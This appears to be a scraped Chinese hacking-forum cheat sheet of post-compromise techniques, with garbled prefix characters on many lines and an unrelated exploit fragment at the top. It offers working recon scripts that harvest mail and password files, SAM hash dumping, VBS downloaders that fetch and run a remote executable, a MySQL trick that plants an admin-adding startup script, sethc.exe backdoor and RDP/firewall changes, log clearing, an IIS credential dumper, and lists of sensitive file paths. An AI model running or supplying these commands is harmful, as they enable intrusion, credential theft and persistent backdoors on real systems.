* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
2 O* n% N& b6 J; u* X, `calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
, c9 U, @/ V. ^/ I* d9 w感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
( M1 U' p) U3 O————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
) Y% a9 j! c4 y& u9 l2 b{
注：
1 a8 P3 a: C$ p' ~关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
: B8 }  u/ W' A6 f那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 V1 Z2 E, W  p3 U/ K}  

) d9 y" d9 v! v提权先执行systeminfo
" T+ X2 J; i' c) G5 w6 e) w! m0 Ytoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
3 h. q; j( @( `——————————————
2、收集系统信息的脚本  
% q( t1 v( P  |2 M2 P% p: P- ^for window：

@echo off
echo #########system info collection
$ v/ {+ \' z. Z4 s# c$ U6 fsysteminfo
ver
0 R$ X* G+ x, G4 D/ X% whostname
net user
1 y: f0 o" O( Gnet localgroup
net localgroup administrators
net user guest
# i% X+ h# ]5 N8 V7 R% A. Knet user administrator
* |+ F' t" G" W: w- b. Q
echo #######at- with   atq#####
echo schtask /query
- v0 y: V: c& v" T. E! G: K  R% ~
; ~$ G$ J5 V8 d+ M9 P% z/ j+ Necho
4 |5 L) D: [: K+ r) Y' H0 o5 Cecho ####task-list#############
# w( u" a0 I& @* o8 M( J3 ?tasklist /svc
, V6 s; S, Z7 u3 J% p+ n9 techo
) V* d3 U' A6 z2 X6 ~3 K# ~echo ####net-work infomation
% r9 x2 j2 u" F1 `2 H( O# Vipconfig/all
route print
- t; @% B* O& M" |8 larp -a
netstat -anipconfig /displaydns
& y- @- j0 I; y# m# m0 U1 N, oecho
& ^9 Q+ r7 U7 _3 D9 t0 ]echo #######service############
0 `& K) W$ q; ~+ n$ X# d2 Vsc query type= service state= all
echo #######file-##############
$ F+ i% l. P9 v+ A: Mcd \
tree -F
1 @. Y+ ^/ B8 r! l2 Q/ pfor linux：

9 o) B+ G5 Z2 r, ^5 Q#!/bin/bash

, ]: Y% }$ L% e8 {/ kecho #######geting sysinfo####
: T6 h5 @- k$ S6 B0 s0 F: q4 L1 `echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
: l% O5 m% l1 Decho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
$ B9 `) r5 G7 i! v* |$ U7 A; \echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
6 H1 S" x' Y. ]- w

echo 'u'r id is' `id`
$ S6 T) f' {1 decho ###atq&crontab#####
, T5 r, Q- o: W! Batq
crontab -l
  a& f5 r7 r8 I8 V5 @echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
) n, D+ W9 D6 Techo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
! t; B1 o/ k# M6 z, w4 h3 @chkconfig --list
4 V4 q1 o/ e3 t
  @* Z0 D3 b0 T8 I- kfor i in {oracle,mysql,tomcat,samba,apache,ftp}
4 w2 o3 h" R$ b! l# X1 q4 ~; xcat /etc/passwd|grep -i $i
done

" o$ e+ z8 c  z) \% xlocate passwd >/tmp/password 2>/dev/null
+ p: K/ w7 A! ]  Osleep 5
locate password >>/tmp/password 2>/dev/null
; J$ Y' a5 o  k. dsleep 5
4 w2 }+ @/ ]8 slocate conf >/tmp/sysconfig 2>dev/null
sleep 5
5 {# _* r0 R7 g7 J# A$ Y" [7 Vlocate config >>/tmp/sysconfig 2>/dev/null
8 H) T: [- C( {; Xsleep 5
6 @! p  `, h0 c
###maybe can use "tree /"###
4 c/ }) s1 R" A6 r! _& ^echo ##packing up#########
' u1 o. i; ^: G+ Y$ p3 ~tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
0 V0 x. ^' w! Q9 O% h——————————————
" z# D: J! I$ y- A  Y3 h3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
7 k% v6 A' v. [2 x$ i/ }8 c               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
9 F0 c2 f4 T  s3 [: k接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
' q3 j" ~  ^/ c: c& J! T. khash 抓完了记得把自己的账户密码改过来哦！
; j5 K( q4 z9 S9 S+ j6 j0 r% y据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4 T1 l2 t5 h, Y4 K( q4 [4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
. b* N1 J4 ?# E6 d# I" `. ~" |echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
  X2 `4 c$ v( F3 s3 @echo sGet.Type = 1 >>c:\windows\cftmon.vbs
( A5 X! ]! L) o5 @$ P/ recho sGet.Open() >>c:\windows\cftmon.vbs
% x9 d" r# ^; I; @9 X4 becho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
& H; w% D1 R( }: oecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
# s; e/ v8 N4 oiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
  L5 R* i3 D- d! `' rSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

  t/ e  m$ l* l- Rcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

- j, B% u9 D; C' e8 j, j当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
" z. o2 N0 p1 p6 p  E: c——————————————————
' P. O8 T( ^* P! V5、
8 y9 t8 r  v8 B# u+ q1.查询终端端口
4 L5 ~. |7 U  u% I$ AREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
& w: _2 @% N3 {2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3 \8 `; b  t: Q6 k) L3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
3 H/ u1 b! q7 O4 _% DREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
- p! F  S2 d' a: l! D4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
$ v8 ^3 b  O9 P/ VREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
( P4 k/ I5 V+ r! h3 W0 q2 u) \————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
" D$ j6 }% V" T; i4 Tinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
0 \2 B- S; ~. K* b$ ?" Yinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
8 v+ _" {$ Z6 L6 c0 g7 Cselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
1 r5 K# t4 F7 G* h7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
& D1 s" t. ~0 G% s* Q1 w8、for /d %i in (d:\freehost\*) do @echo %i
& }( H6 T, }  c) }1 @& f7 \, Q
9 g/ \; g7 D" _* y+ Z( [0 ?列出d的所有目录
  
0 H* X1 p% Z5 }  for /d %i in (???) do @echo %i

9 Z( L7 T  z; n5 p: P- k/ b$ `把当前路径下文件夹的名字只有1-3个字母的打出来
0 Y( `6 Z$ N2 v2 F" a
0 q* u4 o% P4 U+ N. Q! l4 o2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
( x$ Y' p8 z6 `4 x/ }  J$ {
9 w! q9 B4 F0 h9 k7 J1 t8 c7 tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
9 ^7 f, l8 J# @. N9 e
/ c8 Q; C6 ~" Y* U8 R3.for /f %i in (c:\1.txt) do echo %i
  
% ?9 H- ~% Z4 w1 t; t; t: n  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
" x1 v$ W! q+ I( v——————————
●注册表:
1.Administrator注册表备份:
+ x$ d* F- K& f  O1 D% a* r, breg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
& Y' @- X# M0 |. r+ |
2.修改3389的默认端口:
$ X9 l& X8 l1 n. h$ KHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

$ b+ M6 Z! r: d  ?% `7 \( \3.清除3389登录记录:
5 x+ w. E/ f7 F# |2 Xreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
! t6 Q2 A5 S9 \) P$ w
( u2 g% k. V. i2 N4.Radmin密码:
8 L4 ^8 g0 Y. I6 `% p. Freg export HKLM\SYSTEM\RAdmin c:\a.reg

/ ?( i& A6 p4 [  N' O5.禁用TCP/IP端口筛选(需重启):
6 z5 _3 @8 T7 }% H- |% y9 v. ZREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
0 `- X, F$ P$ m9 P* G( c
4 K. _" }1 {/ p! Z3 @  I8 [6 i6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
5 i9 w+ O. p, c/ T9 o2 M或者
. [2 `4 }/ A( Unetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
& T/ J( m" J* wnetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
: ~; X! f0 ], L
9.另类方法抓系统密码HASH
# q) J$ F( r/ J( K( I1 p+ treg save hklm\sam c:\sam.hive
! U/ n0 }3 F# g5 b! {reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
% x( q" H; \* U3 J: zreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
8 c8 ~  R6 k, oFor Each obj3w In objservice
. Q: ^1 x+ s' M1 [5 s) g; ^childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
* _# y9 F! H0 u' ^- G9 aend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
5 |/ B, e; C( f; Hpass=iisweb.AnonymousUserPass
" v2 A; \) ^) r( v# @. Fpath=IIsWeb.path
0 R; s3 A8 C# @/ S5 A) jlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
6 G& o9 h7 h& jNext
wscript.echo list
0 {: w/ ]( g* u. K6 q* `5 k$ i! X5 ?Set ObjService=Nothing
. q& k% |, \+ Z0 z: F) Swscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
* f9 z: }5 _) PWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
6 Z  v3 k- |! Q' a% ?1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
# Z$ R3 L4 D) s2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
! [+ V; q& m- n' {5 O4 B8 `  J  Z<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
0 g% R4 c: E0 O; ?$ s</OBJECT>
复制代码
# G3 F. _5 T5 n% P: t% V* ?然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
. n# X) X# c" |0 ^% x. X7 @8 K2 M 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
' D& ]  J2 G% m path_info可以直接呈现虚拟路径 顺利解析gif大马
  p6 T( V- \- R  o
) w# G4 C: i3 @; y9 e0 b/ G0 R==============================================================
LINUX常见路径：

4 l& U: \9 x* V3 n: M/etc/passwd
) {; u1 W4 I' O6 D0 C/etc/shadow
/etc/fstab
3 O) |. e7 m1 u8 p2 S- @" s6 E/etc/host.conf
6 s4 Q7 F% s0 ?/ z/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
1 O1 X  o. h) D1 ]2 @' I3 g/var/www/conf/httpd.conf
/var/www/htdocs/index.html
' b' x* U6 E4 @0 y7 ?. [/var/httpd/conf/php.ini
8 h8 ~8 r0 x! G7 N# F7 u/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
2 K& g  `1 O# `; }. I/var/httpd/conf/php.ini
- z: r  p6 H* b+ n5 a/var/www/index.html
$ ]4 V3 g" Y; N. I( K/var/www/index.php
1 Z( P6 d0 v4 P- S; h6 @* U/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
$ F/ ~/ \  w- f& D& ^' U' h/usr/local/apache/htdocs/index.php
! v3 e: o$ \( N9 q7 Z3 r3 o( @" }' O/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
. T4 n% E  y. W2 U% z( S/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
, Y6 ^6 N" ^4 Q+ F3 g/etc/httpd/conf/httpd.conf
; l# W! f3 ?1 M  `5 _/etc/httpd/htdocs/index.html
' V$ x: Q) p( X% l8 z9 N/www/php/php.ini
5 n5 K) Y+ _  J6 O/www/php4/php.ini
0 m6 f0 {* r5 Q* a/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
  H0 U' m, j* Z/www/htdocs/index.html
6 y* ]) \4 ~" S( |8 y/usr/local/httpd/conf/httpd.conf
- m" h7 d! f, \* ^/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
6 K9 V0 R# |' t" V/etc/apache2/apache.conf
5 _$ l8 d+ _9 P/ M2 j2 B/etc/apache/httpd.conf
3 m3 F9 ?6 O8 X% W' F2 i) r$ Z/etc/apache2/httpd.conf
% Z6 |  u$ w3 Q6 K3 p/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
+ c; U4 j& M' P6 o/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
% @* `+ B5 d$ B! ^8 t- Z. j' T. f/etc/httpd/logs/access_log
) N+ S' D8 D0 S/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
* X# n3 ?7 P$ i! q5 e/home/apache2/conf/httpd.conf
/var/log/apache/error_log
) Q/ i5 U4 `5 m8 X/var/log/apache/error.log
+ k9 M' D6 Z2 s6 g* J/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
) _6 G' R5 ^4 F* g* f/ Q/var/log/apache2/access.log
8 E9 X$ D& q/ b/var/www/logs/error_log
5 i) |; c2 I6 T. x/ O' a/var/www/logs/error.log
6 U1 ?- V; m2 l/var/www/logs/access_log
) x& y4 k; d9 f9 `/var/www/logs/access.log
$ I& {; ]9 G4 h1 M$ w8 A# r) l/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
1 G3 K1 x; ~5 i1 t/ n/var/log/error_log
* j* K6 A' p1 g' t7 {/var/log/error.log
' t: Q" G# L; \. a& b0 R/var/log/access_log
/var/log/access.log
4 f+ q6 c. r5 n3 P1 r/usr/local/apache/logs/access_logaccess_log.old
, l+ F+ r# x# ?9 D! L8 Q7 F; `2 O/usr/local/apache/logs/error_logerror_log.old
. u* \+ \1 ^5 h$ q& [) D/etc/php.ini
/bin/php.ini
, ~# Y2 {" G, G, A+ [2 v- E0 s' w/etc/init.d/httpd
/etc/init.d/mysql
+ v: U- i, Y2 L) u) z; _0 M: b/etc/httpd/php.ini
/usr/lib/php.ini
1 ~! K1 C( c: J/usr/lib/php/php.ini
, U$ F' L; ?2 y' n# U& a/usr/local/etc/php.ini
/usr/local/lib/php.ini
( \' i' _# t1 B# S/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/ [  ^; S) h" m7 L/usr/local/apache2/conf/httpd.conf
# W6 h$ O- }3 N/ Q6 f! X/usr/local/apache2/conf/php.ini
; p; c4 |; {, E& h7 G4 ]' _% D' x/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
  Y0 Q6 k6 w5 N6 a' b/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
0 {/ u" P- L# n% W: ]/etc/php/php4/php.ini
0 Y* X+ q/ T$ ^; ^: n3 t: Y/etc/php/apache/php.ini
4 D& u+ P  p# S& G( r. }/etc/php/apache2/php.ini
4 V0 v3 k9 v% T+ f8 w1 V/web/conf/php.ini
/usr/local/Zend/etc/php.ini
$ V0 A2 h9 Q$ y; {5 Y( e/opt/xampp/etc/php.ini
  c1 J- K0 d% v% {/var/local/www/conf/php.ini
( G% R# H; V7 g: g/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
4 I& F3 E5 V- R! ?1 j0 d/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
  N/ o2 Q# e1 Y; K/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
$ z  a# a6 T% i2 |& S; ?/home/bin/stable/apache/php.ini
( k% G" S0 X+ [0 p1 ~. I7 V: R5 v+ g/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
2 w% Q2 ]" M" Q8 ]3 i/var/log/mysql/mysql-slow.log
% i+ f& B0 q+ N/ |8 Y) S' x% W/var/mysql.log
  M/ O) p( U9 W0 u8 K* S/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
; u# j5 S( G$ `+ O' W  s/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
3 S+ {1 m! @3 t( K' O/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
! L4 I% m& u* `+ h/usr/local/cpanel/logs/access_log
: `( O1 ?: F" o! |/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
# f0 r- r- y. t" Z/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/ p% h: ^+ i* J; V/usr/local/share/examples/php/php.ini

& V  y; B. w4 A: y( n2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
$ }+ K8 y0 b3 L* O8 X  A
c:\windows\php.ini
3 z8 }; }; I9 Dc:\boot.ini
c:\1.txt
# C. g, v: z- \- [- q/ F5 Kc:\a.txt
  u2 |+ L/ o3 H9 P* P; B7 Y8 C
! [: ^2 u6 k1 Mc:\CMailServer\config.ini
; P4 S' G2 A3 h( y  _. gc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
! V/ U* i' V# r8 i) rc:\program files\CMailServer\CMailServer.exe
$ G8 _, v3 C: c8 B0 P& q9 _c:\program files\CMailServer\WebMail\index.asp
4 z: R; L9 Q* E4 u, ^C:\WinWebMail\SysInfo.ini
0 T$ a0 k2 Z: ~2 i3 G5 N, ^C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
) o. l. A! f6 ?  `C:\WINDOWS\7i24iislog4.exe
6 t+ }7 T: d$ KC:\WINDOWS\7i24tool.exe
- P: g- G- {* H0 w& I. P
) V8 w) P( H2 r5 c1 e4 N$ gc:\hzhost\databases\url.asp
! Q* N$ b. F2 \" q; L, v9 f* L% g. b1 q
c:\hzhost\hzclient.exe
( n& d: j7 u4 b; U  {C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
$ r, x! _" J3 a9 PC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
- @7 O8 n1 m, {c:\wwwsite\index.asp
c:\WWWROOT\index.asp
' F+ ]% _$ J3 K9 v! ~$ V; d% Qc:\web\index.php
( {9 W" B/ f  u4 Q2 O# u8 x/ mc:\www\index.php
( a* w* @1 a$ r; F) bc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
# a; F5 s* @  X6 b2 ]c:\web\default.asp
c:\www\default.asp
% B2 o; y6 n3 N/ [" }* Z3 Ic:\wwwsite\default.asp
+ W) \* `+ V9 Z  wc:\WWWROOT\default.asp
; s$ `1 G2 R! Oc:\web\default.php
5 I) ]; v2 i# b2 k7 ac:\www\default.php
: M+ \, r3 w3 yc:\WWWROOT\default.php
, f4 I) Q2 w4 B, Dc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
& j) D0 a8 j, d3 W& J* U& r( o* I7 kc:\windows\notepad.exe
c:\winnt\notepad.exe
" f' ?2 P6 z0 a5 ?( c) mC:\Program Files\Microsoft Office\OFFICE10\winword.exe
2 E0 ~. M6 p0 pC:\Program Files\Microsoft Office\OFFICE11\winword.exe
. b4 [5 m; C7 \" k4 F) AC:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ E  c% O8 ?* n( k; r8 g( GC:\Program Files\Internet Explorer\IEXPLORE.EXE
9 {; Y5 X" w  x" ?. cC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
4 T8 ]8 O9 K' Q# m$ IC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
2 ^3 J# P% v  q7 I& [  F) T) cC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
7 j* v: H' u  y+ ~; A6 j: wC:\Documents and Settings\Administrator\My Documents\Default.rdp
! u: R5 E, \& L; j; o: o% p7 GC:\Documents and Settings\Administrator\Cookies\index.dat
3 f, ~' b+ `* b* g/ b# N! C/ b$ u) RC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
9 S: J8 u6 }5 _3 K: U, _! VC:\Documents and Settings\Administrator\My Documents\1.txt
# q. q9 ^% c; W9 x) @! R! S1 RC:\Documents and Settings\Administrator\桌面\1.txt
9 ?) ]4 Y7 s+ }  B" z( kC:\Documents and Settings\Administrator\My Documents\a.txt
) k: n- L# C% c, O% bC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
8 |: \; I" M* R7 JE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
# r* d+ Y& k" c  sC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
8 j9 C& s7 ~- ?C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
# |! i7 n9 v) B. o1 `8 KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 W$ O- y, ?! P0 {& y! [C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
+ x3 @+ ], F* C, ?( I9 G. e- C% @C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
* m; M1 u3 X$ U1 F& ]5 a& r9 GC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 N: ~  z8 T( U8 p* VC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
% N1 H) p' T: P7 p& \! k0 j$ Bc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
" O$ n: [: Z3 N' c1 o0 G7 D% |; aC:\Program Files\Oracle\oraconfig\Lpk.dll
2 p4 i! s" F% O! B* c- PC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
# b/ p5 M- g* a. C- _C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
1 G6 M1 t% @* w/ pc:\program files\CMailServer\config.ini
1 u: t4 F7 \. \+ x' n! a( Vc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
# i8 b9 a; R% }4 K3 r. Uc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
: x! @5 |7 ]& ?* Z$ CC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
4 ?/ X* S6 K: B) H# ec:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
8 a: ~9 f; {$ f* U- Dc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
* U& E& X8 N8 c; ]3 P/usr/share/tomcat6/bin/startup.sh
